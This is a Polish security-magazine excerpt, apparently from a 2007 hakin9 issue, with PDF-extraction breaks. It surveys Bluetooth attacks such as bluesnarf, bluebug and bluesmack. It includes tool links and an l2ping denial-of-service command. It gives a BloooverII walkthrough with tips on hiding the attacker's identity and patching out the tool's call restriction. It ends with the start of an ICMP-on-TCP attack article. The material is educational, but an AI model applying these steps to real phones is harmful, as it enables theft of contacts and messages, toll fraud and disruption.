
1 mW

0 dBm

~ 1 metr

hakin9 Nr 3/2007

www.hakin9.org

Atak

• mode 3: ochrona na poziomie

urządzenia.

Te trzy rodzaje są implementowane
w ramach czterech poziomów: pa-

iring: zostaje aktywowany pomiędzy
dwoma urządzeniami, które chcą ak-
tywować procedury bezpieczeństwa
i  kontaktują  się  pomiędzy  sobą  po
raz  pierwszy;  w  praktyce,  użytkow-
nik  wprowadza  pin  (identyczny)  na
obu urządzeniach, a z kolei każde z
nich generuje pseudolosową liczbę;
w tym momencie otrzymuje się  sha-

red secret (sekret współdzielony),
który jest wykorzystywany do komu-
nikacji, autentyfikacja: tzw. mecha-
nizm challenge (wyzwanie); w prak-
tyce bazuje na liczbie pseudolosowej
(challenge) i na shared secret, kody-

fikacja: ma miejsce, ewentualnie, po
autentyfikacji, autoryzacja: określa
czy żądanie urządzenia ma zostać
zaspokojone czy też nie; każda apli-
kacja może posiadać listę urządzeń,
które mogą mieć do niej dostęp (tru-

sted device), jeśli dane urządzenie
nie znajduje się na tej liście wymaga-
ne jest potwierdzenie ze strony użyt-
kownika.

W ramach tych poziomów stoso-

wanych jest pięć głównych elemen-
tów: adres BD_ADDR: adres fizycz-
ny poszczególnego urządzenia (swe-
go rodzaju MAC Address), klucz ko-

dujący  (8-128  bit),  klucz  połączenia
(128  bit),  liczby  pseudolosowe  (128
bit),  algorytmy  służące  do  genero-

wania kluczy (E0, E21, E22, itd.).

Jak widzicie, łatwo jest odnaleźć

wszystkie te elementy na czterech
poziomach.

Teraz zobaczymy gdzie znajdu-

ją  się  słabości  tego  mechanizmu.
Pierwsza  i  najbardziej  oczywista
tkwi  w  mechanizmie  pairingu,  któ-
ry, jak zostało to opisane, przewidu-
je  wprowadzenie  pinu.  Jeśli  pin  zo-
stał określony w samym urządzeniu
można  wręcz  przeprowadzić  atak

online  typu  brute-force  (tj.  bezpo-
średnio  przeciwko  urządzeniu  ofia-
ry).  Natomiast  w  przypadku  słabe-
go  pinu,  można  dokonać  ataku  of-

fline (nie bezpośrednio przeciwko
urządzeniu ofiary), tzw. ataku prze-

ciwko E22: w skrócie, „rejestruje” się

ruch na wszystkich 79 kanałach wy-
korzystując  odpowiednie  narzędzie,
a  następnie,  offline,  testuje  się  roz-
maite klucze połączeniowe wygene-
rowane  przy  zastosowaniu  rozma-
itych pinów. Taki atak jest dość kosz-
towny za sprawą potrzebnego oprzy-
rządowania.

Aby bronić się przed tego typu

atakiem  jest  dobrą  normą  stosowa-
nie długich i trudnych do odgadnięcia
pinów oraz wykonywanie pairingu w
miejscach uznawanych za bezpiecz-
ne. Jednakże i bezpieczeństwo osią-
gnięte w taki sposób jest względne,
gdyż,  jak  zostało  to  udowodnione,
dzięki  prostej  modyfikacji  Bluetooth

dongle można dokonać ataku nawet
z odległości przekraczającej 1,5 km.
Wspaniały przykład daje nam grupa
trifinite, której URL został zamiesz-
czony w sekcji linków tego artykułu.

Poza tym istnieje szereg słabości

na poziomie aplikacji, o których bę-
dziemy mówić w dalszej części tego
artykułu. Te zależą bardziej od spe-
cyficznych implementacji zastoso-
wanych przez producentów, niż od
bugów w projektowaniu protokołów.

Techniki ataku

na Bluetooth

Mimo że jestem pasjonatem niemal-
że wszystkiego co przyniosła tech-
nologia w ciągu minionych lat, nie

zaliczam  się  do  grona  pierwszych
uzależnionych od urządzeń przeno-
śnych.  Mówiąc  szczerze,  moja  cie-
kawość  została  obudzona  lekturą
artykułu  opublikowanego  w  jakimś
dzienniku noszącego tytuł Kiedy bo-

li ząb..., który traktował o toothingu,
czyli o tym jak wykorzystując proto-
kół Bluetooth można wysyłać wiado-
mości do osób kompletnie nam nie-
znanych, a posiadających Bluetooth
device  włączony  i  dyspozycyjny,  w
promieniu kilku metrów. Początkowo
najbardziej uderzył mnie aspekt spo-
łeczny  tego  artykułu,  lecz  po  chwi-
li refleksji otworzyły się przede mną
scenariusze  znacznie  bardziej  roz-
ległe, w których mało ostrożni użyt-
kownicy  są  oszukiwani  na  tysiąc

Rysunek 1.

Funkcjonowanie stosu

protokołów Bluetooth

��

Rysunek 2.

Ostateczny schemat stosu protokołów

��

Hakowanie Bluetooth

hakin9 Nr 3/2007

www.hakin9.org

i jeden sposobów przez jakiegoś
przygodnego maniaka. To właśnie
od tego momentu zacząłem zgłębiać
dokumentacje związane z rozmaity-
mi typologiami ataku i obrony. Spró-
bujmy je wspólnie przeanalizować.

Bluejacking

Jak wcześniej wspomniałem, zacie-
kawiła  mnie  możliwość  darmowe-
go komunikowania się za pośrednic-
twem systemu wiadomości z osoba-
mi  kompletnie  obcymi,  które  jednak
posiadają  aktywne urządzenie Blu-
etooth  w  promieniu  kilku  metrów.
Jak  to  możliwe?  Trzeba  pamiętać,
że  w  fazie  discovery  innych  urzą-
dzeń,  zostaje  przekazana  nazwa
identyfikująca  urządzenia.  Nie  jest
ona niczym innym jak polem teksto-
wym. Wyobraźmy sobie teraz, że po-
le  tekstowe  zawiera  coś  w  rodzaju:

Problemy sieciowe, proszę wybierz

1234.  Oczywiście  1234  to  pin  który
uprzednio  wystukaliśmy  na  naszym
urządzeniu.  Nieświadomy  użytkow-
nik  wystuka  pin  i  tym  samym  do-
pełni pairingu. A my dokonamy ata-
ku  bluejacking  (termin  ten  począt-
kowo  był  wykorzystywany  na  okre-
ślenie  wszystkich  ataków  na  proto-
kół Bluetooth). Ten typ ataku, mają-
cy swe źródło w inżynierii socjalnej,

jest pod wieloma względami bardzo
podobny do ataku określanego mia-
nem phishing.

Poza tą empiryczną procedurą,

istnieje wiele darmowych narzędzi,
które także pozwalają na dokonanie
tego ataku.

Oto niektóre z nich: Freejack (http:

//www.bluejackq.com/freejack.jar),
SMAN (http://www.bluejackq.com/

sman13a-eng.zip), Mobiluck (http:

//www.mobiluck.com/download-Blu-

etooth-software-all-phones-en.php),
Easyjack

(http://www.getjar.com/

products/2758/EasyJack)

Internet pełen jest narzędzi przy-

stosowanych do tego celu, tu zosta-
ły wymienione tylko niektóre z nich.
Trzeba pamiętać, że rodzaj narzę-
dzia zależy także od stosowanego
telefonu komórkowego.

Discovery mode abuse

W  przypadku  większości  urządzeń
dostępnych  na  rynku  możliwe  jest,
po  włączeniu,  ustalenie  czy  usłu-
ga  Bluetooth  ma  być  widoczna  czy

ukryta. To co się wówczas dzieje w
trybie ukrytym polega na niczym in-
nym  jak  na  odrzucaniu  przez  urzą-
dzenie  wszelkich  żądań  inquiry  po-
chodzących  w  broadcast  od  innych
aparatów Bluetooth. Tak więc usługi

nie zostają całkowicie dezaktywowa-
ne, lecz jedynie odrzucane są żąda-
nia kierowane do SDP. Poza tym, jak
już  powiedzieliśmy,  każde  urządze-
nie  posiada  swój  BD_ADDR:  skła-
da  się  z  48  bitów,  z  których  pierw-
sze  24  zależą  wyłącznie  od  produ-
centa (swego rodzaju vendor code),
są więc stałe. Z pozostałych jedynie
ostatnich 6 bitów identyfikują w spo-
sób  jednoznaczny  urządzenie,  jako
że  służą  do  identyfikacji  typu  urzą-
dzenia  (komórka,  dongle,  słuchaw-
ka, itd.). Dlatego nie jest wcale rze-
czą trudną wykrycie urządzenia Blu-
etooth, także w trybie ukrytym. Rze-
czywiście,  z  punktu  widzenia  obli-
czeniowego,  można  odnaleźć  bity
zmienne w czasie niewiele dłuższym
niż jedna godzina.

Narzędzia służące do takiej ope-

racji, w chwili redagowania niniejsze-
go artykułu, są dostępne tylko pod
Linuksem. Są to:

• Redfang (http://www.securitywir

eless.info/Downloads-index-req-

getit-lid-41.html),

• Bluesniff

(http://

bluesniff.shmoo.com/bluesniff-

0.1.tar.gz).

Redfang  jest  narzędziem  linii  pole-
ceń  zrealizowanym  przez  @Stake,
aktualnie  stanowiącym  część  Sy-
manteca,  i  stanowi  POF  (Proof  Of
Concept)  techniki  ataku  już  opisa-
nej.  Bluesniff  to  front-end  graficzny
do Redfang.

Blueprinting

Jest  rodzajem  nmap  w  odniesieniu
do  Bluetooth.  Technika  ta  pozwa-
la na uzyskanie informacji technicz-
nych  o  badanym  urządzeniu,  wyko-
nując  matching  uzyskanych  charak-
terystyk  z  tymi  obecnymi  w  uaktu-
alnionej bazie danych. Także w tym
przypadku istnieje narzędzie pod Li-
nuksa obsługiwane z linii poleceń:

• Blueprint

(http://trifinite.org/

Downloads/bp_v01-3.zip)

Także Redfang, przedstawiony we
wcześniejszym paragrafie, zajmuje
się blueprintingiem.

Rysunek 3.

Diagram funkcjonalny protokołu Bluetooth

��

hakin9 Nr 3/2007

www.hakin9.org

Atak

Bluesnarf

Jest atakiem wywodzącym się z wa-
dliwej  implementacji  specyfikacji
wielu  telefonów  komórkowych  (licz-
ne modele Ericsson, Sony-Ericsson,
Nokia,  Siemens,  Motorola).  Z  bar-
dziej szczegółowym wykazem urzą-
dzeń  peryferyjnych  w  to  zamiesza-
nych  można  zapoznać  się  tu:  http:

//www.thebunker.net/security/Blu-

etooth.htm.

Lecz na czym polega ten atak?

Na niczym innym jak na łączeniu się
z usługą OBEX Push (często wyko-
rzystywana w celu wymiany elektro-
nicznych wizytówek). Wadliwa imple-
mentacja w niektórych telefonach ko-
mórkowych pozwala, poza otrzymy-
waniem wizytówek, także na OBEX

Get, czyli na żądanie pliku. Tzn., je-
śli  wiem  że  na  komórce  ofiary  jest
obecny  plik  chcęgo.jar,  to  mogę  go
ściągnąć przeskakując fazę autenty-
fikacji. Często nie trzeba nawet znać
ścieżki  pliku  w  systemie,  ponieważ
wiele  aparatów  zapamiętuje  infor-
macje odnoszące się do systemu pli-
ków w pliku tekstowym, którego loka-
lizacja jest znana a priori, gdyż zale-
ży od systemu. Na przykład, komór-
ki  Ericsson  i  Sony-Ericsson  pierw-
szej generacji zapisują książkę tele-
foniczną  w  telecom/pb.vfc,  a  kalen-
darz w telecom/calc.vcs.

W celu dokonania tego typu

ataku wystarczy jakikolwiek client
OBEX. Oto niektóre:

• obexftp (http://openobex.triq.net/

obexftp/installing),

• obex-commander

(http://intradarma.com/

OBEXCommander.html).

Pierwszy z tych dwóch clientów jest
pod Linuksa, drugi pod Windows.

Bluesnarf++

Bardzo podobny do Bluesnarf, lecz
pozwala na pełen dostęp w zakresie
odczytu/zapisu do systemu plików,
bez konieczności pairingu.

Tu znajdziecie narzędzie do reali-

zacji tego rodzaju ataku:

• Bluediving (http://bluediving.sour-

ceforge.net/)

To  narzędzie  jest  prawdziwą  suite,
jest  niezmiernie  użyteczne  w  celu
wykonania  bardzo  złożonych  pen-
testów. Na stronie znajduje się cały
szereg  innych,  na  prawdę  użytecz-
nych narzędzi.

Bluebug

Także ta słabość wynika ze złej im-
plementacji niektórych specyfikacji i
jest  obecna  tylko  w  niektórych  mo-
delach  przenośnych  urządzeń  pe-
ryferyjnych.  W  odróżnieniu  od  Blu-
esnarf  i  Bluesnarf++,  pozwala  na
wykonanie  poleceń  AT  na  urządze-
niu ofiary. Tym razem problem doty-
czy  usług  na  kanale  RFCOMM  nie
zgłoszonych  przez  SDP,  lecz  mimo
to wykorzystywanych.

W praktyce, atakujący może uzy-

skać  pełen  dostęp  do  telefonu  ko-
mórkowego,  zwłaszcza  może:  te-
lefonować,  wysyłać,  czytać  i  elimi-
nować SMS/MMS, czytać i pisać w
książce telefonicznej, zmieniać para-
metry konfiguracyjne.

Aby wykazać istnienie tej dziu-

ry, poza wcześniej wspomnianym
Bluediving, możemy wykorzystać
BloooverII (http://trifinite.org/trifinite_

stuff_bloooverii.html).  Pozwala  on
na  przeprowadzenie  także  innych
ataków,  m.in.  Helomoto,  w  gruncie
rzeczy  będącego  połączeniem  ata-
ków  Bluesnarf  i  Bluebug:  przerywa
otrzymywanie  Vcard  i,  za  sprawą
błędu  implementacyjnego,  urządze-
nie  pozostaje  w  trybie  trusted.  Cie-
kawostka, nazwa wywodzi się z fak-
tu, że jest to słabość typowa dla sys-
temów Motorola.

Bluesmack

Jest to atak typu DOS, i nie jest ni-
czym innym jak Ping of Death w od-
niesieniu  do  Bluetooth.  Polega  na
zwiększaniu ponad miarę echo requ-
est (L2CAP ping) mającego być wy-
słanym  w  kierunku  urządzenia  ofia-
ry.  Niektóre  terminale  odbierają  da-
ne lecz jednocześnie generują błędy
blokując zupełnie komórkę (niektóre
Compaq iPaq, na przykład).

Możemy przeprowadzić nasze

próby bądź przy pomocy niezwykle
użytecznego szwajcarskiego scyzo-

ryka Bluediving bądź ściągając je-

dynie biblioteki Bluetooth dla Linux
Bluez (http://www.bluez.org/down-

load.html,  wszelako  niezbędne  tak-
że  dla  Bluediving)  i  formatując  od-
powiednio polecenie l2ping. W przy-
padku  wielu  modeli  iPaq  wystarczy
napisać:

l2ping -s <num_byte>
z <num_byte> większym lub równym 600.

Bluebump

Jest to atak inżynierii socjalnej. Ata-
kujący ustanawia połączenie trusted
z jakimś urządzeniem, na przykład
wysyłając Vcard i zmuszając odbior-
cę do autentyfikacji (Mode-3-Abu-

se).  Atakujący  podtrzymuje  otwarte
połączenie i mówi ofierze by ta prze-
rwała połączenie ze swoim urządze-
niem peryferyjnym. Oczywiście ofia-
ra  nie  jest  świadoma  że  połączenie
jest  jeszcze  aktywne.  W  tym  mo-
mencie atakujący prosi by ponownie
został wygenerowany klucz połącze-
niowy. Tym samym posiada ofiarę na
swojej  liście,  nie  musząc  ponownie
przechodzić  autentyfikacji.  Atakują-
cy może połączyć się z ofiarą dopó-
ki ta nie wykasuje także tego nowe-
go klucza.

Bluedump

Wykorzystując sniffer Bluetooth,
można wykonać dumping pinów i nie-
których kluczy podczas sesji Blueto-
oth. Atakujący musi znać BD_ADDR
jakiejś pary urządzeń będących w
pairingu; w tym momencie atakujący

spoofuje (wciąż poprzez Bluediving,
jeśli to możliwe) BD_ADDR jednego
z dwóch urządzeń i łączy się z dru-
gim. Kiedy ofiara przechodzi do au-
tentyfikacji, zważywszy że atakują-
cy nie posiada klucza połączeniowe-
go, jego urządzenie odpowiada po-
przez 'HCI_Link_Key _Request_Ne-

gative_Reply' co, w niektórych przy-
padkach, prowadzi do wykasowania
klucza połączeniowego na urządze-
niu ofiary i do kolejnego pairingu z
atakującym.

Bluechop

Atak  pozwalający  obalić  całą  pico-
net.  Urządzenie  peryferyjne  wzglę-
dem  piconet  spoofuje  urządzenie

Hakowanie Bluetooth

hakin9 Nr 3/2007

www.hakin9.org

slave  spoza  piconetu  a  następnie
kontaktuje  się  z  masterem  tejże  pi-
conet. Ponieważ protokół przewiduje
że slave przystąpi do piconetu sam
w następstwie żądania mastera, ten
gubi się i powoduje upadek picone-
tu. Także do tego ataku jest przydat-
ne  narzędzie  do  spoofingu  jak  Blu-
ediving.  To  prawdopodobnie  jedy-
ny  atak  na  protokół  Bluetooth  który
nie  wykorzystuje  złych  implementa-
cji  stosu  Bluetooth,  ponieważ  ude-
rza w urządzenia wszystkich produ-
centów.

Car whisperer

Atak na urządzenie peryferyjne Blu-
etooth  audio  wewnątrz  samochodu.
Grupa  trifinite.org  przeprowadziła
go aby wyczulić producentów aut na
kwestie  bezpieczeństwa  urządzeń
peryferyjnych  Bluetooth  wewnątrz

pojazdu. Jako narzędzie do przepro-
wadzenia ataku carwhisperer (http:

//trifinite.org/trifinite_stuff_carwhi-

sperer.html) mogą posłużyć niektóre
spośród  narzędzi  dotychczas  przez
nas  poznanych,  ewentualnie  odpo-
wiednio zmodyfikowanych. Technika
ataku opiera się na fakcie, że urzą-
dzenia  peryferyjne  Bluetooth  we-
wnątrz  pojazdu  posiadają  gotowe
klucze,  często  wręcz  znane  ponie-
waż  standardowe  ('0000'  lub  '1234'
w  przypadku  wielu  słuchawek  i/lub
zestawów  głośnomówiących).  Efek-
tem ataku jest rejestrowanie rozmów
ofiary  bądź  transmisja    audio  fake
(fałszywe  wiadomości  o  natężeniu
ruchu, itp.).

Worm

Kolejnym problemem Bluetooth jest
fakt jego wykorzystywania jako środ-

ka rozprzestrzeniania się niektórych
robaków. Przykładem jest Inqtana.A,
robak proof-of-concept wykorzystu-
jący do rozprzestrzeniania się tech-
nologię Bluetooth systemów Mac OS
X 10.4 (Tiger). Ten robak kopiuje się
na wszystkich urządzeniach widocz-
nych poprzez funkcjonalności OBEX
i się samowykonuje przy kolejnym
uruchomieniu systemu.

Istnieją także inne robaki (z któ-

rych wielu można uniknąć przy odro-
binie ostrożności) jak Cabir, Mabir i
inne.

Od teorii do praktyki

Zobaczymy  teraz  jak  wprowadzić  w
czyn  część  tego  wszystkiego  co  wi-
dzieliśmy  na  poprzednich  stronach.
Spośród  rozmaitych  egzaminowa-
nych  programów  użyjemy  BloooverII
(http://trifinite.org/trifinite_stuff_blo-

Rysunek 6a.

Ustawianie głównych

parametrów

Rysunek 6b.

Ustawianie głównych

parametrów

Rysunek 6c.

Ustawianie głównych

parametrów

Rysunek 7.

Atak Bluebug

Rysunek 5.

Find devices

Rysunek 4.

Uruchamiamy BloooverII

hakin9 Nr 3/2007

www.hakin9.org

Atak

ooverii.html). Ataki, których możemy
spróbować to: bluebug, helomoto, blu-
esnarf, bluesnarf++ (tylko przy zasto-
sowaniu wersji Breeeder), wysyłanie
malformed objects poprzez OBEX.

BloooverII jest programem do

urządzeń  przenośnych  wykorzystu-
jących  MIDP  2.0  (Mobile  Informa-
tion  Device  Profile)  i  Bluetooth  API
JSR-82.

Najpierw instalujemy Blooove-

rII  (najlepiej  wersję  Breeeder,  któ-
ra  jak  widzieliśmy  umożliwia  także
atak  bluesnarf++).  Przenosimy  ją
na  naszą  komórkę  za  pomocą  IR-
DA,  USB  lub  samego  Bluetooth  a
następnie  postępujemy  zgodnie  z
procedurą  instalacyjną.  Aktywuje-
my  Bluetooth  na  naszym  telefonie
komórkowym.

Ważna uwaga: jeśli nie zosta-

ło inaczej wskazane próbujmy za-

wsze  jednego  tylko  typu  ataku  z
jedną  tylko  funkcją,  w  przeciw-
nym  razie  nasza  komórka  mogła-
by  się  zawiesić.  Inna  uwaga:  nie-
kiedy program, w czasie ataku, sy-
gnalizuje nazwę komórki atakującej
(tak na przykład zdarza się w przy-
padku  Nokii  6310i).  Tak  więc,  jeśli
robicie kawał przyjacielowi, zmień-
cie  nazwę  waszego  telefonu  ko-
mórkowego  w  taki  sposób  aby  nie
wskazywała bezpośrednio na was.
Wreszcie, jeśli atak nie uda się za
pierwszym razem, nie poddawajcie
się i spróbujcie jeszcze raz. Niekie-
dy trzeba powtórzyć atak kilkakrot-
nie, zanim zadziała poprawnie.

Teraz możemy uruchomić Blo-

ooverII i naszym oczom ukaże się ta-
ki oto widok (Rys. 4).

Próbujemy wykryć urządzenia

peryferyjne za pomocą Find devi-

ces (Rys. 5).

Znalazłszy urządzenia zabiera-

my  się  za  ustawienie  głównych  pa-
rametrów  (pamiętajcie,  że  należy  je
ponownie  ustawić  po  każdym  uru-
chomieniu Blooover 2), jak zostało to
przedstawione na Rysunku 6.

Ustawiamy je dokładnie w ta-

ki sposób jak na Rysunku 6. Teraz
spróbujemy kilku ataków. Najpierw
Bluebug (zobacz Rysunek 7).

Na zrzutce ekranowej (Rys. 8)

znajdują  się  konfiguracje  do  ataku
Bluebug.  Ustawmy  je  tak  jak  na  ry-
sunku.  Teraz  zdecydujmy  co  chce-
my osiągnąć poprzez ten rodzaj ata-
ku (Rys. 9).

Po kolei (Rysunki 9a-e), zosta-

ły  zilustrowane  ataki  pozwalają-
ce na odczytanie książki telefonicz-
nej,    SMS-ów,  na  pisanie  w  książ-
ce  telefonicznej,  na  przekierowy-
wanie

połączeń

telefonicznych

otrzymanych i na inicjalizowanie

Rysunek 9a.

Przebieg ataku Bluebug

Rysunek 9b.

Przebieg ataku Bluebug

Rysunek 9c.

Przebieg ataku Bluebug

Rysunek 9d.

Przebieg ataku Bluebug

Rysunek 9e.

Przebieg ataku Bluebug

Rysunek 8.

Konfiguracje do ataku

Bluebug

Hakowanie Bluetooth

hakin9 Nr 3/2007

www.hakin9.org

nowych.  W  tym  momencie  należy
coś  doprecyzować.  BloooverII  nie
jest  programemem  dla  hackerów,
przeciwnie,  jest  to  POC  (Proof  of

Concept). Należy poczynić założe-

nie,  że  nie  został  pomyślany  w  ce-
lu  wyrządzania  szkód.  Tak  więc  je-
dyne połączenie które można zreali-
zować to połączenie do darmowych
numerów.  Teraz  można  zmodyfiko-

wać  tę  funkcję  wykorzystując  edy-
tor  szesnastkowy  (typu  HHD  Free
Hex  Editor,  można  go  ściągnąć  tu:

http://www.hhdsoftware.com/free-

hex-editor.html). W praktyce wystar-
czy  odpowiednio  zmodyfikować  plik
e.class znajdujący się wewnątrz Blo-
oover2b.jar.  Po  otwarciu  archiwum
przy  pomocy  dowolnego  programu
do obsługi skompresowanych archi-
wów (WinRAR bardzo dobrze się do
tego nadaje), e.class znajduje się w
org\trifinite\bloover2b.  Oczywiście
informacje  te  nie  zostają  podane  w
celu  popełniania  przestępstw,  tak
więc  zwracam  uwagę  na  użytek  ja-
ki z nich zrobicie.

Postępowanie związane z prze-

prowadzeniem innych ataków jest w
zasadzie podobne, tak więc możecie
spróbować ich sami. Chciałbym tylko
dodać, że niekiedy przy urachamia-
niu ataku Helomoto BloooverII bloku-
je się. W takim przypadku powtarza-
my operację uruchamiając Helomo-
to razem z Bluebug.

Podsumowanie

Jak  widzieliśmy  w  tym  artykule,
istnieje  wiele  różnorodnych  tech-
nik  ataku  na  protokół,  bazują  one
w  znacznej  mierze  na  naiwno-
ści  użytkowników  lub  na  złych  im-
plementacjach  stosu  Bluetooth  ze
strony  poszczególnych  producen-
tów.  Oczywiście,  wszystko  cze-
go  nauczyliśmy  się  w  tym  arty-
kule  powinno  służyć  pomocą  w
obronie  naszej  prywatności,  a  nie
w  celu  naruszania  tejże  w  odnie-
sieniu  do  osób  trzecich!  Pamię-
tajmy,  roztropne  zachowanie  jest
najlepszą  obroną  przeciwko  za-
grożeniom  płynącym  z  każdej  sie-
ci,  także  z  sieci  Bluetooth.  Wykaz
wszystkich  telefonów  komórko-
wych posiadających zainstalowane
Java Bluetooth API znajduje się tu:

http://www.j2mepolish.org/devices/

devices-btapi.html

Szczególność tego oprogramo-

wania polega na tym, że było pierw-
szym  oprogramowaniem  pozwala-
jącym  na  ataki,  wcześniej  były  one
możliwe  tylko  przy  wykorzystaniu
laptopa. l

O autorze

W Sienie ukończył Inżynierię Informatyczną, od 2001 wykonuje wolny zawód. Zajmu-
je się kształceniem, systemami i bezpieczeństwem w środowisku korporacyjnym. Jest
administratorem systemu, konsultantem w kwestiach prywatności, odpowiedzialnym
za bezpieczeństwo i systemy informatyczne wielu włoskich firm; poza tym pracuje ja-
ko wykładowca dla kilku spółek zajmujących się kształceniem, m.in Elea-De Agosti-
ni i Percorsi, i za ich sprawą zajmuje się kształceniem przedstawicieli najważniejszych
podmiotów w środowisku włoskim, jak Ministerstwo Sprawiedliwości, IBM, Alitalia i
in. Przeprowadził kilka konferencji na temat e-government dla władz Reggio Calabria
oraz posiada najprzeróżniejsze certyfikaty informatyczne, przeważnie na polu syste-
mów i bezpieczeństwa, lecz także na polu Office Automation.
W wolnym czasie jest trenerem i międzynarodowym arbitrem tenisowym.
Kontakt z autorem: www.ugolopez.it

W Sieci

• http://www.Bluetooth.com/ - oficjalna strona projektu,
• http://Bluetooth.interfree.it/ - strona na której wyjaśnia się w prosty sposób Blueto-

oth,

•   http://www.eng.tau.ac.il/~yash/shaked-wool-mobisys05/ - atak przeciwko E22,
•   http://trifinite.org/ - strona grupy trifinite,
•   http://www.securiteam.com/tools/5JP0I1FAAE.html - źródło bluefang,
•   http://www.betaversion.net/btdsd/ - Bluetooth Device Security Database,
•   http://www.niksula.hut.fi/~jiitv/bluesec.html – pogłębione bezpieczństwo Blueto-

oth,

• http://ftp.vub.ac.be/~sijansse/2e%20lic/BT/Tools/Tools.html – narzędzia bezpie-

czeństwa Bluetooth,

• http://it.wikipedia.org/wiki/Bluetooth – strony wikipedii poświęcone Bluetooth,
• http://www.remote-exploit.org/index.php/BlueTooth – strona z bardzo dobrymi na-

rzędziami i informacjami o słabościach Bluetooth.

Terminologia

• POF (Proof of Concept): wykorzystywany w środowisku badawczym, jest to prak-

tyczny eksperyment potwierdzający teorię przedstawioną w ramach traktatu lub ar-
tykułu,

• Pentest (Penetration Test): są to testy przeprowadzane w odniesieniu do wszelkie-

go rodzaju sieci (a więc także i Bluetooth) w celu sprawdzenia ich rzeczywistego
bezpieczeństwa,

• AT: skrót od Attention, są to polecenia pozwalające na pełne przejęcie kontroli nad

telefonem komórkowym,

• DOS (Denial of Service): to zmasowany atak na usługę stawiający sobie za cel wy-

łącznie jej crash i uczynienie jej nieosiągalną,

• Ping of Death: ping śmierci bierze swą nazwę od dawnej słabości Windows 95,

który zawieszał się otrzymawszy polecenie ICMP (ping właśnie) źle sformatowa-
ne,

• Piconet: sieć Bluetooth w formie gwiazdy, w której jedno urządzenie zachowuje się

jako master inne natomiast jako slave. To samo urządzenie może być masterem
jednej sieci i jednocześnie slave innej sieci. Połączenie wielu piconetów nazywa
się scatternet.

www.hakin9.org

hakin9 Nr 3/2007

Atak

odstawową wadą protokołu ICMP (Inter-

net Control Message Protocol) jest brak
autoryzacji wysyłanych komunikatów.

Specyfikacja nie wymaga sprawdzania, czy ko-
munikaty  ICMP  pochodzą  z  właściwego  źró-
dła,  natomiast  niektóre  rozwiązania  wprowa-
dzające  autoryzację  nigdy  nie  zostały  przyję-
te jako standard. Stwarza to możliwość zdalne-
go przerywania połączeń TCP lub zmniejsze-
nia ich szybkości do bardzo niskiego poziomu.
Atak tego rodzaju może być przeprowadzony w
bardzo krótkim czasie bez potrzeby podsłuchi-
wania sesji TCP.

Jak działa ICMP?

ICMP  jest  powszechnie  wykorzystywanym  pro-
tokołem,  służącym  do  informowania  o  proble-
mach z siecią oraz do wykonywania działań dia-
gnostycznych. Protokół używa do tego celu trzy-
dziestu różnych komunikatów. Jest niezbędny do
poprawnego i optymalnego funkcjonowania pro-
tokołów warstwy transportowej. Najbardziej zna-
nym komunikatem jest echo request, wykorzysty-
wany  przez  polecenie  ping  do  sprawdzania  do-
stępności maszyny w sieci. W tym artykule skupi-
my się jedynie na kilku komunikatach związanych
z raportowaniem problemów sieciowych.

Komunikaty ICMP mogą być generowa-

ne  zarówno  przez  połączone  ze  sobą  ma-
szyny,  jak  i  routery  pośredniczące  w  trans-
misji. Przykładowo, jeśli router pośredniczą-
cy  wykryje  zerową  wartość  pola  TTL  (Time

to  Live)  w  nagłówku  pakietu  IP,  wyśle  ko-
munikat  ICMP  (typu  Time  exceeded,  wy-
korzystywany  także  przez  narzędzie  trace-

route do wykrywania adresów maszyn po-
średniczących w połączeniu) do nadaw-

Ataki na protokół TCP z

wykorzystaniem ICMP

Marcin Ulikowski

stopień trudności

ICMP jest protokołem wykorzystywanym głównie w diagnostyce

sieci oraz podczas trasowania pakietów. Został opracowany

ponad dwadzieścia lat temu i od tamtej pory nie wprowadzono w

nim żadnych poprawek. Problemy związane z brakiem procedur

sprawdzających wiarygodność otrzymywanych pakietów czynią

ten protokół niebezpiecznym narzędziem.

Z artykułu dowiesz się...

• na czym polega atak na protokół TCP z wyko-

rzystaniem komunikatów ICMP,

• w jaki sposób przeprowadzić przykładowy atak

z wykorzystaniem protokołu ICMP,

• jak zabezpieczyć system przed atakiem tego

rodzaju.

Co powinieneś wiedzieć...

• znajomość podstawowych informacji na temat

protokołów sieciowych i komunikacji w Interne-
cie,

• znajomość elementów nagłówka IP oraz TCP.

Ataki na protokół TCP

hakin9 Nr 3/2007

www.hakin9.org

cy  pakietu  informując  o  tym
fakcie.  Komunikaty  ICMP  zawie-
rają  także  opcjonalny  kod  błędu
umożliwiający  dokładniejsze  okre-
ślenie  przyczyny  problemu.  Pozo-
staje  otwartym  pytanie,  skąd  sys-
tem  operacyjny  ma  wiedzieć,  któ-
rego  połączenia  dotyczy  otrzyma-
ny  komunikat?  Pakiety  ICMP  in-
formujące  o  problemie  sieciowym
zawierają  także  początkowy  frag-
ment  pakietu,  który  jako  pierwszy
wywołał błąd. Fragment ten zawie-
ra  nagłówek  IP  oraz  przynajmniej
64 bitów (8 oktetów) nagłówka war-
stwy wyższej (w naszym przypad-
ku  TCP).  W  załączonym  nagłów-
ku  IP  znajduje  się  adres  nadawcy
oraz  odbiorcy.  Osiem  oktetów  na-
główka TCP przenosi informacje o
porcie  źródłowym  i  docelowym,  a
także  numer  sekwencyjny  pakie-
tu. Odbiorca na podstawie tych da-
nych  może  bez  problemu  określić
sesję, której dotyczy przesłany ko-
munikat.

Komunikaty ICMP przenoszą

kody błędów określane jako twar-
de (hard error) oraz miękkie (soft

error).  Po  otrzymaniu  komunikatu  z
twardym kodem błędu (oznaczające-
go problem, którego nie można roz-
wiązać  w  krótkim  czasie),  połącze-
nie  TCP  musi  zostać  zerwane,  na-
tomiast w przypadku kodu miękkiego
może być kontynuowane. W dalszej
części skupimy uwagę tylko na twar-
dych  komunikatach,  ponieważ  nad-
użycie  komunikatów  tego  rodzaju
jest wykorzystywane podczas ataku.

Określanie optymalnego MTU

Fragmentacja pakietów IP jest uwa-
żana  za  zjawisko  niepożądane  z
punktu  widzenia  wydajności,  stąd
wiele implementacji stara się jej za-
pobiegać.  Jak  dotąd  nie  jest  znany

szybki i niezawodny sposób określe-
nia  maksymalnej  jednostki  danych
(Maximum Transmission Unit – wiel-
kość  określająca  maksymalny  roz-
miar pakietu, jaki może zostać prze-
słany  bez  potrzeby  jego  fragmenta-
cji)  jeszcze  przed  nawiązaniem  po-
łączenia. RFC-1191 określa mecha-
nizm wykrywania optymalnego MTU
(zwany Path MTU Discovery) opiera-
jący się na metodzie prób i błędów.
Polega  on  na  wysyłaniu  pakietów  z
ustawioną  flagą  IP  DF  (Don't  Frag-

ment)  i  nasłuchiwaniu  komunikatów
ICMP  informujących  o  zbyt  dużym
rozmiarze  pakietu  i  braku  możliwo-
